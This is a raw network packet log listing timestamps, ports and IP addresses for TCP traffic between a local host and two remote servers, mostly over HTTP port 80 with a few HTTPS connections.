Dec 9, 2024 21:09:18.762029886 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.762080908 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.762114048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.762161016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.762736082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.762783051 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.762958050 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.763006926 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.763571024 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.763621092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.763676882 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.763725996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.764445066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.764488935 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.764599085 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.764645100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.765342951 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.765383005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.765441895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.766222954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.766268015 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.766346931 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.766391993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.767127991 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.767175913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.767208099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.767252922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.767899990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.767947912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.768018007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.768059015 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.768793106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.768838882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.768904924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.768950939 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.769711018 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.769751072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.769798040 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.770494938 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.770539045 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.770541906 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.770576954 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.771431923 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.771485090 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.771501064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.771549940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.772258043 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.772304058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.772335052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.772376060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.773101091 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.773220062 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.773271084 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.774027109 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.774077892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.774086952 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.774131060 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.774871111 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.774930954 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.774962902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.775003910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.775753975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.775810003 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.775959015 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.776047945 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.776581049 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.776647091 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.776648045 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.776690960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.777491093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.777621984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.777673960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.778477907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.778532982 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.778564930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.778609037 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.779191017 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.779236078 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.779257059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.779298067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.780148983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.780194998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.780281067 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.780329943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.780982018 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.781070948 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.781115055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.781829119 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.781874895 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.781876087 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.781917095 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.782860041 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.782912016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.782943010 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.782984972 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.783529043 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.783571005 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.783602953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.783643961 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.784430027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.784477949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.784567118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.784612894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.785307884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.785378933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.785423994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.786204100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.786254883 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.786284924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.786333084 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.787034035 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.787081957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.787210941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.787256956 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.788017988 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.788067102 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.788084984 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.788125992 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.817240000 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:18.817337036 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:18.817414999 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:18.817570925 CET	49879	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:18.817580938 CET	443	49879	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:18.935461044 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.935544968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.935653925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.935699940 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.935926914 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.935981989 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.936053038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.936093092 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.936826944 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.936876059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.936923981 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.937581062 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.937638044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.937926054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.937985897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.938055038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.938114882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.938822031 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.938874960 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.938937902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.938982964 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.939608097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.939682007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.939711094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.939757109 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.940505028 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.940562963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.940623999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.940668106 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.941323042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.941406965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.941453934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.942223072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.942270994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.942332983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.942378044 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.943114042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.943154097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.943157911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.943193913 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.943996906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.944048882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.944174051 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.944210052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.944865942 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.944948912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.944951057 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.944989920 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.945725918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.945802927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.945851088 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.946611881 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.946665049 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.946734905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.946790934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.947462082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.947504997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.947535038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.947577953 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.948353052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.948404074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.948493004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.948538065 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.949179888 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.949223042 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.949302912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.949341059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.950047970 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.950110912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.950159073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.950927019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.950982094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.951011896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.951054096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.951843977 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.951886892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.951942921 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.951976061 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.952688932 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.952699900 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.952727079 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.952759027 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.953526020 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.953572989 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.953587055 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.953632116 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.954377890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.954423904 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.954474926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.954515934 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.955269098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.955324888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.955338955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.955383062 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.956098080 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.956243038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.956288099 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.956980944 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.957034111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.957063913 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.957228899 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.957835913 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.957879066 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.957954884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.957994938 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.958712101 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.958755016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.958830118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.959096909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.959594965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.959641933 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.959655046 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.959779978 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.960454941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.960675955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.960726023 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.961441994 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.961602926 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.961652994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.962454081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.962557077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.962599993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.963063002 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.963100910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.963164091 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.963324070 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.964013100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.964107990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.964148998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.964853048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.965017080 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.965054035 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.965661049 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.965756893 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.965805054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.965893030 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.966574907 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.966625929 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.966713905 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.966763020 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.967427015 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.967477083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.967519045 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.968302965 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.968355894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.968381882 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.968417883 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.969131947 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.969202042 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.969237089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.970032930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.970101118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.970103979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.970155001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.970890999 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.971008062 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.971055031 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.971733093 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.971772909 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.971847057 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.971892118 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.972624063 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.972770929 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.972810984 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.973510027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.973547935 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.973617077 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.973696947 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.974356890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.974399090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.974421978 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.974436998 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.975223064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.975347996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.975402117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.976095915 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.976140022 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.976197004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.976239920 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.976928949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.976969957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.977021933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.977060080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.977797031 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.977859974 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.977940083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.977983952 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.978820086 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.978832960 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.978899002 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.979578972 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.979788065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.979837894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.980427980 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.980470896 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.980572939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.980617046 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.998014927 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:18.998059034 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:18.998142958 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:18.998514891 CET	49884	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:18.998531103 CET	443	49884	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:19.127810955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.127897978 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.127940893 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.127984047 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.127996922 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.128211975 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.128261089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.128523111 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.128570080 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.129132032 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.129143000 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.129180908 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.130034924 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:19.130081892 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:19.130194902 CET	80	49874	31.41.244.11	192.168.2.6
